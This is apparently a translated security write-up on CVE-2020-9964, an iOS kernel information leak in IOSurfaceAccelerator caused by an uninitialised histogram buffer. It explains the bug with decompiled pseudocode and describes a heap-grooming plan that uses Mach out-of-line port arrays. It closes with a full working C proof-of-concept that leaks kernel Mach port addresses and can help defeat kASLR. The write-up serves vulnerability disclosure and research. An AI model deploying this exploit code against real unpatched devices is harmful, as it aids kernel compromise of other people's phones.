CVE-2020-9964-iOS信息泄漏

华盟原创文章投稿奖励计划

文章来源:EDI安全

iOS 14现已向公众开放,并附带了iOS 14.0安全内容更新。您将看到的其中一个漏洞是CVE-2020-9964,这是IOSurfaceAccelerator中的一个漏洞,也是我的第一个信息泄漏:)

我(@ Muirey03)和MohamedGhannam(@ _simo36)都被发现了此漏洞。如果我发现有更多知道这一点的人,我将不会感到惊讶。

Apple将此错误的影响描述为“本地用户可能能够读取内核内存”,并在描述中将其称为“内存初始化问题”,那么该错误是什么?

IOSurfaceAcceleratorClient :: user_get_histogram

IOSurfaceAcceleratorClient是AppleM2ScalerCSCDriver IOService的用户客户端,并且是可以从“应用程序沙箱”中打开的少数几个用户客户端之一。我们对该用户客户端上的一种特定外部方法

(方法9,IOSurfaceAcceleratorClient :: user_get_histogram)感兴趣。IOSurfaceAcceleratorClient使用旧
IOUserClient :: getTargetAndMethodForIndex

作为其外部方法,这就是方法9的IOExternalMethod描述符的样子

{
    IOSurfaceAcceleratorClient::user_get_histogram,
    kIOUCStructIStructO,
    0x8,
    0x0
}

从中我们可以看到user_get_histogram仅占用8个字节的输入数据,并且不返回任何内容作为输出数据,因此让我们看一下实现。这是我注释的伪代码:

IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize)
{
  IOReturn result;
  if (this->calledFromKernel)
  {
    ...
  }
  else
  {
    IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task);
    if ( memDesc )
    {
      ret = memDesc->prepare(kIODirectionNone);
      if (ret)
      {
        ...
      }
      else
      {
        ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc);
        memDesc->complete(kIODirectionNone);
      }
      memDesc->release();
    }
    else
    {
      ret = kIOReturnNoMemory;
    }
  }
  return ret;
}

从中我们可以看到,结构输入的8个字节旨在用作用户空间指针,

AppleM2ScalerCSCDriver :: get_histogram`

可对其进行读写。实际上,get_histogram调用到get_histogram_gated,如下所示:

IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc)
{
  IOReturn result;
  if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize )
    result = kIOReturnSuccess;
  else
    result = kIOReturnIOError;
  return result;
}

我们看到client-> histogramBuffer被写回到用户空间,所以现在的问题是,client-> histogramBuffer是什么?它在哪里初始化,在哪里填充?

IOSurfaceAcceleratorClient::histogramBuffer

这个问题的答案最终是

IOSurfaceAcceleratorClient :: initClient,

它看起来像这样:

bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal)
{
  ...
  if ( ... )
  {
    ...
    if ( ... )
    {
      size_t bufferSize = ...;
      this->histogramSize = bufferSize;
      this->histogramBuffer = (void *)IOMalloc(bufferSize);
      IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0);
      this->scheduler = scheduler;
      if ( scheduler )
        return true;
      ...
    }
    else
    {
      ...
    }
  }
  else
  {
    ...
  }
  this->stopClient();
  return false;
}

这是可疑的。histogramBuffer已分配但未填充,并且IOMalloc不会将内存归零,从而使histogramBuffer完全未初始化。正是在这一点上,我尝试为我自己调用该方法,但没有人感到惊讶,发现自己在看很多0xdeadbeef,这是未初始化内存的典型标志。

“开发”

我们正在将未初始化的内存泄漏回用户空间,但是我们该怎么办?像这样的信息泄漏自身相对而言是无害的,但是在利用其他内存损坏问题时有时是必不可少的。进行漏洞利用的一个常见要求是找到马赫端口地址,因此这是我进行漏洞利用的目标,但值得一提的是,该漏洞也可以用来击败kASLR。

我为此漏洞利用选择的目标分配是mach消息脱机端口阵列。发送马赫消息时,可以选择将消息标记为“复杂”。这告诉内核,标头后面的不是原始数据,而是一个“主体”,后跟与消息一起发送的描述符。这些描述符之一是mach_msg_ool_ports_descriptor_t,这是 一组插入到接收任务中的离线端口权限。

内核通过创建一个缓冲区来处理这些OOL端口,该缓冲区包含一个在消息发送时指向数组中每个端口的指针,并在收到消息后释放该缓冲区(有关此代码,请参见ipc_kmsg_copyin_ool_ports_descriptor,如果您感兴趣,则为“非常复杂,太长了,无法在此处粘贴)。这对我们来说是完美的!我们可以使用它来触发任何大小的内核分配,其中包含我们要读取的确切数据(马赫端口指针),并且我们可以在任何时候完全确定地释放它。

高级漏洞利用流程

因此,我的漏洞利用计划如下所示:

  1. 发送一些消息,其OOL端口数组的大小与client-> histogramSize相同

  2. 通过接收消息释放这些阵列

  3. 打开一个IOSurfaceAcceleratorClient连接,分配histogramBuffer,它现在应该与这些空闲端口数组之一重叠

  4. 调用外部方法9,将端口指针读回到用户空间

  5. 利润

在我的设备上,client-> histogramSize为0x300,这意味着我的端口阵列的长度必须为96个端口。我选择发送0x80消息,但这是我凭空提出的一个完全任意的数字,不要过多看它。

漏洞利用

最终的利用如下:

#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#if 0
AppleM2ScalerCSCDriver Infoleak:
IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.
IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.
When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.
This vulnerability is reachable from within the app sandbox on iOS.
Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.
Other kernel object addresses can be obtained using this vulnerability in similar ways.
#endif

#define ASSERT_KR(kr) do { \
  if (kr != KERN_SUCCESS) { \
    fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \
    exit(EXIT_FAILURE); \
  } \
} while(0)

#define LEAK_SIZE 0x300
#define SPRAY_COUNT 0x80

mach_port_t create_port(void)
{
  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
  return p;
}

io_connect_t open_client(const char* serviceName, uint32_t type)
{
  io_connect_t client = MACH_PORT_NULL;
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName));
  assert(service != MACH_PORT_NULL);
  IOServiceOpen(service, mach_task_self(), type, &client);
  assert(client != MACH_PORT_NULL);
  IOObjectRelease(service);
  return client;
}

void push_to_freelist(mach_port_t port)
{  
  uint32_t portCount = LEAK_SIZE / sizeof(void*);

  struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
  } msg = {{0}};
  mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t));
  for (uint32_t i = 0; i < portCount; i++)
    ports[i] = port;
  
  size_t msgSize = sizeof(msg);
  msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
  msg.header.msgh_size = msgSize;
  msg.header.msgh_id = 'OOLP';
  msg.body.msgh_descriptor_count = 1;

  msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
  msg.ool_ports.address = (void*)ports;
  msg.ool_ports.count = portCount;
  msg.ool_ports.deallocate = false;
  msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
  msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND;

  mach_port_t rcvPorts[SPRAY_COUNT];

  for (uint32_t i = 0; i < SPRAY_COUNT; i++)
  {
    mach_port_t rcvPort = create_port();
    rcvPorts[i] = rcvPort;
    msg.header.msgh_remote_port = rcvPort;
    //trigger kernel allocation of port array:
    kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    ASSERT_KR(kr);
  }
  for (uint32_t i = 1; i < SPRAY_COUNT; i++)
    mach_port_destroy(mach_task_self(), rcvPorts[i]);
  free((void*)ports);
}
//The actual vulnerability:
void leak_bytes(void* buffer)
{
  io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0);
  kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL);
  ASSERT_KR(kr);
  IOServiceClose(client);
}
uint64_t find_port_addr(mach_port_t port)
{
  uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE);
  printf("Preparing heap\n");
  push_to_freelist(port);
  printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);
  leak_bytes(leak);
  uint64_t addr = leak[1];
  free(leak);
  return addr;
}
int main(int argc, char* argv[], char* envp[])
{
  mach_port_t port = create_port();
  uint64_t port_addr = find_port_addr(port);
  printf("Leaked port address: %p\n", (void*)port_addr);
  return 0;
}

我发现此漏洞利用程序的成功率接近100%,几乎无法检测到任何故障,从而使漏洞利用程序可以继续运行直到成功为止。

注:

我被告知,此漏洞的可利用性受到iOS 14堆分离的影响。我对iOS 14中所做的更改了解不足以确认这一点,但是在查看将来未初始化的内存泄漏时,绝对需要考虑这一点。

本文来源EDI安全,经授权后由congtou发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论